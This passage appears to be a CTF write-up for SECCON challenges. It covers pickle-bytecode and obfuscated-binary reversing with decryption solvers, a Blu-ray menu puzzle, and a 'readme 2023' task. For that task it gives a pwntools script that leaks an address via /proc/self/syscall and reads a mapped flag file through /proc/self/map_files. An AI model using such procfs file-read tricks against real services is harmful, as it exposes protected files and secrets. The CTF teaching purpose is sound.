636: \x93 STACK_GLOBAL ; [ builtins.getattr, builtins.int ]
637: \x8c SHORT_BINUNICODE '__xor__' ; [ builtins.getattr, builtins.int, '__xor__' ]
646: \x86 TUPLE2 ; [ builtins.getattr, (builtins.int, '__xor__') ]
647: R REDUCE ; [ int.__xor__ ]
648: \x94 MEMOIZE (as 15) ; memo[15] = int.__xor__
649: 0 POP ; [ ]
650: I INT 1244422970072434993 ; [ 1244422970072434993 ]
671: \x94 MEMOIZE (as 16) ; memo[16] = 1244422970072434993 (iv)
672: 0 POP ; [ ]
673: M BININT2 0 ; [ 0 ]
676: p PUT 7 ; memo[7] = 0
679: 0 POP ; [ ]
680: g GET 13 ; [ lst2.append ]
684: \x8c SHORT_BINUNICODE 'builtins' ; [ lst2.append, 'builtins' ]
694: \x8c SHORT_BINUNICODE 'pow' ; [ lst2.append, 'builtins', 'pow' ]
699: \x93 STACK_GLOBAL ; [ lst2.append, builtins.pow ]
700: g GET 15 ; [ lst2.append, builtins.pow, int.__xor__ ]
704: g GET 10 ; [ lst2.append, builtins.pow, int.__xor__, lst.__getitem__ ]
708: g GET 7 ; [ lst2.append, builtins.pow, int.__xor__, lst.__getitem__, i ]
711: \x85 TUPLE1 ; [ lst2.append, builtins.pow, int.__xor__, lst.__getitem__, (i,) ]
712: R REDUCE ; [ lst2.append, builtins.pow, int.__xor__, lst[i] ]
713: g GET 16 ; [ lst2.append, builtins.pow, int.__xor__, lst[i], iv ]
717: \x86 TUPLE2 ; [ lst2.append, builtins.pow, int.__xor__, (lst[i], iv) ]
718: R REDUCE ; [ lst2.append, builtins.pow, lst[i] ^ iv ]
719: I INT 65537 ; [ lst2.append, builtins.pow, lst[i] ^ iv, 65537 ]
726: I INT 18446744073709551557 ; [ lst2.append, builtins.pow, lst[i] ^ iv, 65537, 18446744073709551557 ]
748: \x87 TUPLE3 ; [ lst2.append, builtins.pow, (lst[i] ^ iv, 65537, 18446744073709551557) ]
749: R REDUCE ; [ lst2.append, pow(lst[i] ^ iv, 65537, 18446744073709551557) ]
750: \x85 TUPLE1 ; [ lst2.append, (pow(lst[i] ^ iv, 65537, 18446744073709551557),) ]
751: R REDUCE ; [ lst2.append(pow(lst[i] ^ iv, 65537, 18446744073709551557)) ]
752: 0 POP ; [ ]
753: g GET 14 ; [ lst2.__getitem__ ]
757: g GET 7 ; [ lst2.__getitem__, i ]
760: \x85 TUPLE1 ; [ lst2.__getitem__, (i,) ]
761: R REDUCE ; [ lst2[i] ]
762: p PUT 16 ; memo[16] = lst2[i]
766: 0 POP ; [ ]
767: g GET 2 ; [ f.seek ]
770: g GET 3 ; [ f.seek, int.__add__ ]
773: g GET 4 ; [ f.seek, int.__add__, int.__mul__ ]
776: g GET 5 ; [ f.seek, int.__add__, int.__mul__, int.__eq__ ]
779: g GET 3 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__ ]
782: g GET 7 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i ]
785: M BININT2 1 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i, 1 ]
788: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, (i, 1) ]
789: R REDUCE ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1 ]
790: p PUT 7 ; memo[7] = i+1
793: M BININT2 8 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1, 8 ]
796: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, (i+1, 8) ]
797: R REDUCE ; [ f.seek, int.__add__, int.__mul__, i+1 == 8 ]
798: M BININT2 131 ; [ f.seek, int.__add__, int.__mul__, i+1 == 8, 131 ]
801: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, (i+1 == 8, 131) ]
802: R REDUCE ; [ f.seek, int.__add__, (i+1 == 8) * 131 ]
803: M BININT2 679 ; [ f.seek, int.__add__, (i+1 == 8) * 131, 679 ]
806: \x86 TUPLE2 ; [ f.seek, int.__add__, ((i+1 == 8) * 131, 679) ]
807: R REDUCE ; [ f.seek, (i+1 == 8) * 131 + 679 ]
808: \x85 TUPLE1 ; [ f.seek, ((i+1 == 8) * 131 + 679,) ]
809: R REDUCE ; [ f.seek((i+1 == 8) * 131 + 679) ]
810: 0 POP ; [ ]
```
In this loop, each list value is xored with variable `iv` (initially it is 1244422970072434993, later it is updated with previous ciphertext, like in CBC block cipher mode). Then it is encrypted with RSA-like algorithm (`n` = 18446744073709551557, `e` = 65537). Results are appended to a new list.
### Checking the result
```python
811: g GET 0 ; [ builtins.getattr ]
814: g GET 12 ; [ builtins.getattr, lst2 ]
818: \x8c SHORT_BINUNICODE '__eq__' ; [ builtins.getattr, lst2, '__eq__' ]
826: \x86 TUPLE2 ; [ builtins.getattr, (lst2, '__eq__') ]
827: R REDUCE ; [ lst2.__eq__ ]
828: ( MARK
829: I INT 8215359690687096682
850: I INT 1862662588367509514
871: I INT 8350772864914849965
892: I INT 11616510986494699232
914: I INT 3711648467207374797
935: I INT 9722127090168848805
956: I INT 16780197523811627561
978: I INT 18138828537077112905
1000: l LIST (MARK at 828) ; [ lst2.__eq__, [8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905] ]
1001: \x85 TUPLE1 ; [ lst2.__eq__, ([8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905],) ]
1002: R REDUCE ; [ lst2 == [8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905] ]
1003: . STOP
```
Finally, the result is compared against a list of hard-coded values.
### Solving
Now that we know exactly what it does, we can write a solver script:
```python=
wanted = [
8215359690687096682,
1862662588367509514,
8350772864914849965,
11616510986494699232,
3711648467207374797,
9722127090168848805,
16780197523811627561,
18138828537077112905,
]
e = 65537
n = 18446744073709551557
phi = n - 1 # n is prime
d = pow(e, -1, phi)
iv = 1244422970072434993
flag = b''
for ct in wanted:
flag += int.to_bytes(pow(ct, d, n) ^ iv, 8, 'little')
iv = ct
print(flag)
```
After running it, we get the flag:
```
SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??}
```
## Xuyao
We're provided with native x86_64 Linux executable, which asks for message input. After that it prints "Wrong...", so we can expect some validation we need to reverse.
### Initial analysis
Let's throw the binary into Ghidra and see what we're dealing with.
Right off the bat, we can see it uses some kind of obfuscation, where local procedure data is located in `mmap`-ed memory and accessed via an array of descriptor structures containing offsets and sizes of each chunk.
For example, in `main` we can see all data is presented by 1-byte chunks, and there's logic checking their sizes when message is copied into there.

Following the code, we can see the message is padded with usual PKCSv1.5 padding to 16-byte boundary, then `encrypt`-ed, and checked against static buffer `enc`.

### Encryption analysis
As all other functions, `encrypt` is obfuscated, and is rather bothersome to look at. In a nutshell, it uses some static buffers `cat` and `fish` to somehow initialize itself. It also calls `ks` (key schedule?) and `encrypt_block` functions.
#### ks

This one is pretty small, but it calls two other functions, so let's look at those:
#### tnls

This one is pretty small, and does SBOX substitution for each byte of a 32-bit value. Apparently, it uses the same SBOX table as AES, which is probably a red herring to trick people into thinking it is some kind of white box AES implementation (and it worked for a moment 🤦♂️).
Equivalent code:
```python=
def tnls(x):
r = 0
for i in range(0, 32, 8):
r |= sbox[(x >> i) & 0xff] << i
return r
```
#### kls

This one is also pretty straightforward, and does some xors and rotations on a 32-bit input value.
Equivalent code:
```python=
def kls(x):
return x ^ rol(x, 11) ^ ror(x, 7)
```
#### encrypt_block
This one is also a bit tedious to look at, but in a nutshell it receives a block of data (4 32-bit values), 32 32-bit subkeys and output pointer, swaps endianness and performs 32 rounds of calling function `r` for each subkey.
Equivalent code:
```python=
def encrypt_block(block, subkeys):
assert len(block) == 16
block = array('I', block)
block.byteswap()
block = block.tolist()
for i in range(32):
block = [block[1], block[2], block[3], r(block, subkeys[i])]
result = array('I', block[::-1])
result.byteswap()
return result.tobytes()
```
#### r

This one is a bit hard to read, but it basically xors 3 last block values with subkey, calls `es` on that and xors the result with first block value.
Equivalent code:
```python=
def r(block, subkey):
return es(block[1] ^ block[2] ^ block[3] ^ subkey) ^ block[0]
```
#### es

This one looks similar to `ks`, and also calls `tnls` substitution first. But the second step is a bit different.
#### els

Also pretty similar to `kls`, a bunch of shifts and xors.
Eqivalent code:
```python=
def els(x):
return x ^ rol(x, 3) ^ rol(x, 14) ^ rol(x, 15) ^ rol(x, 9)
```
### Solving
Now that we know all required pieces, we can write a `decrypt_block` function to undo the encryption:
```python=
def decrypt_block(block, subkeys):
assert len(block) == 16
block = array('I', block)
block.byteswap()
block = block.tolist()[::-1]
for i in range(31, -1, -1):
block = [es(block[0] ^ block[1] ^ block[2] ^ subkeys[i]) ^ block[3], block[0], block[1], block[2]]
result = array('I', block)
result.byteswap()
return result.tobytes()
```
What we're missing now, is subkeys. But we're lazy, so let's just dump them with `gdb` from a runing process:
```c
$ gdb ./xuyao
> b encrypt_block
> r
Message: AAAAAAAAAAA
> x/64gx $rsi
0x7fffffffcde0: 0x00007ffff7fc1000 0x0000000400000044
0x7fffffffcdf0: 0x00007ffff7fc1000 0x0000000400000048
0x7fffffffce00: 0x00007ffff7fc1000 0x000000040000004c
0x7fffffffce10: 0x00007ffff7fc1000 0x0000000400000050
0x7fffffffce20: 0x00007ffff7fc1000 0x0000000400000054
0x7fffffffce30: 0x00007ffff7fc1000 0x0000000400000058
0x7fffffffce40: 0x00007ffff7fc1000 0x000000040000005c
0x7fffffffce50: 0x00007ffff7fc1000 0x0000000400000060
0x7fffffffce60: 0x00007ffff7fc1000 0x0000000400000064
0x7fffffffce70: 0x00007ffff7fc1000 0x0000000400000068
0x7fffffffce80: 0x00007ffff7fc1000 0x000000040000006c
0x7fffffffce90: 0x00007ffff7fc1000 0x0000000400000070
0x7fffffffcea0: 0x00007ffff7fc1000 0x0000000400000074
0x7fffffffceb0: 0x00007ffff7fc1000 0x0000000400000078
0x7fffffffcec0: 0x00007ffff7fc1000 0x000000040000007c
0x7fffffffced0: 0x00007ffff7fc1000 0x0000000400000080
0x7fffffffcee0: 0x00007ffff7fc1000 0x0000000400000084
0x7fffffffcef0: 0x00007ffff7fc1000 0x0000000400000088
0x7fffffffcf00: 0x00007ffff7fc1000 0x000000040000008c
0x7fffffffcf10: 0x00007ffff7fc1000 0x0000000400000090
0x7fffffffcf20: 0x00007ffff7fc1000 0x0000000400000094
0x7fffffffcf30: 0x00007ffff7fc1000 0x0000000400000098
0x7fffffffcf40: 0x00007ffff7fc1000 0x000000040000009c
0x7fffffffcf50: 0x00007ffff7fc1000 0x00000004000000a0
0x7fffffffcf60: 0x00007ffff7fc1000 0x00000004000000a4
0x7fffffffcf70: 0x00007ffff7fc1000 0x00000004000000a8
0x7fffffffcf80: 0x00007ffff7fc1000 0x00000004000000ac
0x7fffffffcf90: 0x00007ffff7fc1000 0x00000004000000b0
0x7fffffffcfa0: 0x00007ffff7fc1000 0x00000004000000b4
0x7fffffffcfb0: 0x00007ffff7fc1000 0x00000004000000b8
0x7fffffffcfc0: 0x00007ffff7fc1000 0x00000004000000bc
0x7fffffffcfd0: 0x00007ffff7fc1000 0x00000004000000c0
> x/32wx 0x00007ffff7fc1000+0x44
0x7ffff7fc1044: 0xf6067814 0xed73cb7e 0x1583a8b2 0x0dde8d93
0x7ffff7fc1054: 0x23e2374b 0x40b83c72 0x0b3f811a 0xd6e7a993
0x7ffff7fc1064: 0x2622de7c 0xc581dcae 0xa906524c 0xdb4f2cc1
0x7ffff7fc1074: 0x0ddb3477 0x8c1a92a4 0x3bd711c0 0x1bb16503
0x7ffff7fc1084: 0x00acd720 0x2735f2d0 0x9a9300fe 0xfb2556a7
0x7ffff7fc1094: 0xcbe1fe58 0xc03db8c9 0xf77cb701 0x0a1f85ae
0x7ffff7fc10a4: 0x14dd27dc 0xe1a5e3a9 0x41d1f9ee 0xfe6afce7
0x7ffff7fc10b4: 0xd80eac32 0xf43efead 0x6475d80f 0x38a310d6
```
Now we can copy those values and plug them into the final script:
```python=
from Crypto.Util.Padding import unpad
from array import array
sbox = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)
def rol(x, n):
return (x >> (32 - n)) | (x << n) & 0xffffffff
def tnls(x):
r = 0
for i in range(0, 32, 8):
r |= sbox[(x >> i) & 0xff] << i
return r
def els(x):
return x ^ rol(x, 3) ^ rol(x, 14) ^ rol(x, 15) ^ rol(x, 9)
def es(x):
return els(tnls(x))
def decrypt_block(block, subkeys):
assert len(block) == 16
block = array('I', block)
block.byteswap()
block = block.tolist()[::-1]
for i in range(31, -1, -1):
block = [es(block[0] ^ block[1] ^ block[2] ^ subkeys[i]) ^ block[3], block[0], block[1], block[2]]
result = array('I', block)
result.byteswap()
return result.tobytes()
enc = bytes.fromhex('fe 60 a8 c0 3b fe bc 66 fc 9a 9b 31 9a d8 03 bb a9 e1 56 fc fc 11 9f 89 5f 4d 9f e0 9f ae 2a cf 5e 73 cb ec 3f ff b9 d1 99 44 1b 9a 79 79 ec d1 b4 fd ea 2b e2 f1 1a 70 76 3c 2e 7f 3f 3b 7b 66 a3 4b 1b 5c 0f be dd 98 5a 5b d0 0a 3d 7e 2c 10 56 2a 10 87 5d d9 b9 7f 3e 2e 86 b7 17 04 df b1 27 c4 47 e2 d9 7a 9a 48 7c db c6 1d 3c 00 a3 21')
# dumped with gdb
subkeys = [
0xf6067814, 0xed73cb7e, 0x1583a8b2, 0x0dde8d93, 0x23e2374b, 0x40b83c72, 0x0b3f811a, 0xd6e7a993,
0x2622de7c, 0xc581dcae, 0xa906524c, 0xdb4f2cc1, 0x0ddb3477, 0x8c1a92a4, 0x3bd711c0, 0x1bb16503,
0x00acd720, 0x2735f2d0, 0x9a9300fe, 0xfb2556a7, 0xcbe1fe58, 0xc03db8c9, 0xf77cb701, 0x0a1f85ae,
0x14dd27dc, 0xe1a5e3a9, 0x41d1f9ee, 0xfe6afce7, 0xd80eac32, 0xf43efead, 0x6475d80f, 0x38a310d6,
]
plaintext = b''
for i in range(0, len(enc), 16):
plaintext += decrypt_block(enc[i:i+16], subkeys)
print(unpad(plaintext, 16))
```
And this gives us the flag:
```
SECCON{x86_he2_zhuan1_you3_zi4_jie2_ma3_de_hun4he2}
```
## Perfect Blu
We're given an `iso` image containing BDMV Blu-Ray rip. Upon opening with VLC, it shows a keyboard-like menu to enter the flag.

### Initial analysis
To open BDMV structure, we'll use [BDedit](https://bdedit.pel.hu) software (download on the site seems broken, but it can be downloaded from some mirror).

We're interested in the Menu section, so we go to the corresponding tab and load menu from `STREAMS\00000.m2ts`.

We see a bunch of buttons in top section, each described by (x, y) coordinates and some commands (center left list). For most of them, there's `Call Object 48` instruction, but one with coordinates (453, 672) has `Call Object 1`.
Let's quickly write a helper function to translate coordinates into keyboard character:
```python=
KEYS = [
'1234567890',
'QWERTYUIOP',
'ASDFGHJKL{',
'ZXCVBNM_-}',
]
def xy_to_key(x, y):
x = (x - 315) + 50
y = (y - 413) + 50
return KEYS[y // 130][x // 137]
```
We can now see that `xy_to_key(453, 672)` is letter `S`, as in `SECCON`. We're onto something!
Searching for command code in hex editor reveals there's button info followed by the commands in `m2ts` file, and we can extract coordinates from there:

### Solving
Now that we know what to look for, we can craft a script to automate it. After dealing with various caveats, like variable struct length, we come up with a quick and dirty script like this:
```python=
import struct
KEYS = [
'1234567890',
'QWERTYUIOP',
'ASDFGHJKL{',
'ZXCVBNM_-}',
]
def xy_to_key(x, y):
x = (x - 315) + 50
y = (y - 413) + 50
return KEYS[y // 130][x // 137]
def get_button(path, index):
print('processing', path)
with open(path, 'rb') as f:
data = f.read()
pattern = struct.pack('>III', 0x21820000, index + 1, 0)
pos = data.find(pattern)
if pos == -1:
# dirty hack for one corner case
pattern = struct.pack('>II', 0x21820000, 0)
pos = data.index(pattern)
pos = data[:pos].rindex(b'\x00\x04\x00\x00\x00\x00')
while True:
x, y = struct.unpack_from('>HH', data, pos)
if x == 0 and y == 0:
return None
# hacky way to find coordinates' location
if 315 <= x <= 1551 and 413 <= y <= 802:
break
pos -= 1
return xy_to_key(x, y)
flag = ''
for i in range(47):
c = get_button(f'unpacked/BDMV/STREAM/{i:05}.m2ts', i)
print(i, c)
flag += c
print(flag)
```
And a few moments later we get the flag:
```
SECCON{JWBH-58EL-QWRL-CLSW-UFRI-XUY3-YHKK-KFBV}
```
# Misc
## readme 2023
Description:
> Can you read the flag?
>
>author: ptr-yudai
### Challenge
Here is the source of the challenge:
```python
import mmap
import os
import signal
signal.alarm(60)
try:
f = open("./flag.txt", "r")
mm = mmap.mmap(f.fileno(), 0, prot=mmap.PROT_READ)
except FileNotFoundError:
print("[-] Flag does not exist")
exit(1)
while True:
path = input("path: ")
if 'flag.txt' in path:
print("[-] Path not allowed")
exit(1)
elif 'fd' in path:
print("[-] No more fd trick ;)")
exit(1)
with open(os.path.realpath(path), "rb") as f:
print(f.read(0x100))
```
### Solution
We cannot directly access `flag.txt` nor use the `/proc/self/fd`. We also get `0x100` bytes of output so this is not enough to sue `/proc/self/maps` and `/proc/self/map_files`.
However, `/proc/self/syscall` also leaks an address:
```log
$ cat /proc/self/syscall
0 0x3 0x7f2e359a5000 0x20000 0x22 0x7f2e359a4010 0x0 0x7ffce7259b28 0x7f2e358b6fd2
```
The page that corresponds to the leaked address is at a constant from the page where the file is mmaped and this offset is `0xEA000`. So, we will use that to guess the address where the files is mmaped:
```python=
from pwn import *
if args['REMOTE']:
io = remote('readme-2023.seccon.games', 2023)
else:
io = remote('127.0.0.1', 2023)
io.recvuntil(b'path: ')
io.sendline(b'/proc/self/syscall')
addr = int(io.recvline().decode().strip().split()[-1][:-3], 16)
page = addr & 0xFFFFFFFFFFFFF000
flag = page+0xEA000
start=hex(flag)[2:]
end=hex(flag+0x1000)[2:]
io.sendline(f"/proc/self/map_files/{start}-{end}")
flag_file = io.recvline()
print(flag_file)
```
And the flag is `SECCON{y3t_4n0th3r_pr0cf5_tr1ck:)}`
Thank you for the great CTF!